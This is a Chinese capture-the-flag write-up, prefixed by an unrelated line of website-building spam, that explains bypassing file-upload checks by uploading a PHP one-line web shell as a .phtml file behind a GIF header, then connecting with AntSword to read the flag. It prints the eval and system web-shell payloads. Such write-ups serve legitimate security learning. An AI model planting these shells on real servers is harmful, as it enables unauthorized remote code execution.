山东网站建站建设,南海大良网站建设,商业网站地方频道,广州网站手机建设公司打开题目#xff0c;发现是一道文件上传题目 随便上传个一句话木马上去 发现网站前端有白名单限制#xff0c;只能上传含有jpg#xff0c;png#xff0c;gif的后缀文件
那我们便传个2.jpg的一句话木马上去#xff0c;bp抓包
我们改成php文件后缀试试#xff0c;发现重发…打开题目发现是一道文件上传题目 随便上传个一句话木马上去 发现网站前端有白名单限制只能上传含有jpgpnggif的后缀文件
那我们便传个2.jpg的一句话木马上去bp抓包
我们改成php文件后缀试试发现重发过去显示Bad file
说明原来不仅在前台校验后台也做了校验。 而且删除前端验证校验发现php文件还是不能上传 那我们便上传phtml文件
用以下代码
GIF89a? script languagephpeval($_REQUEST[1])/script
删除前端验证后发现可以上传成功
蚁剑连接即可得到flag 密码是1
或者我们用下面的代码构造phtml文件 script languagephpeval($_POST[a]);/script script languagephpsystem(cat /flag);/script 上传成功后直接访问路径即可
得到flag 困惑
最开始我想到的做法是先上传htaccess文件bp修改文件头上传成功后然后再上传以jpg为文件后缀的一句话木马蚁剑连接得到flag
上传htaccess文件的时候因为有前端校验我们把前端校验删了以后再bp抓包修改文件头发现能够成功上传htaccess文件但是接着上传jpg格式的一句话木马时却怎么都连不上换了很多种类的一句话木马都不行
在这里我开始在想因为我前阵子做的一道文件上传的题目详情见文件上传 [GXYCTF2019]BabyUpload1-CSDN博客也是限制了只能上传图片类型的文件但是那道题的做法就是上传htaccess文件bp修改文件头使其上传成功后在传以jpgpng等为文件后缀的一句话木马蚁剑连接得到flag这道题我们同样也是限制了只能传图片类型的文件为什么不能用这样的做法呢 后面大佬告诉我是前端验证和前端后端验证共存的两种情况 知识点
什么是前端验证后端验证
前后台校验就是前台和后台都需要对某一数据进行合法性校验。根据数据的来源又可将场景分为用户输入数据校验、服务器生成数据校验和文件上传校验三种子场景 需要验证的场景有哪些
例用户注册。用户需要填写一个表单输入诸如用户名、密码、邮箱、公司等信息点击提交完成注册。 其中这个表单需要验证可能的验证规则有
用户名不能有特殊字符如%#邮箱必须符合正确的邮箱格式如xxxqq.com用户名不能重复密码必须包含数字、小写字母、大写字母、特殊字符且长度不能少于8位 什么是phtml文件
.phtml文件告诉网络服务器这些文件是由服务器生成的带有动态内容的html文件就像浏览器中的.php文件表现一样
因此在生产用途中.phtml和.php文件应该没有任何区别。 文章参考wp [ACTF2020 新生赛]Upload-1_[actf2020 新生赛]upload 1_木兰%%的博客-CSDN博客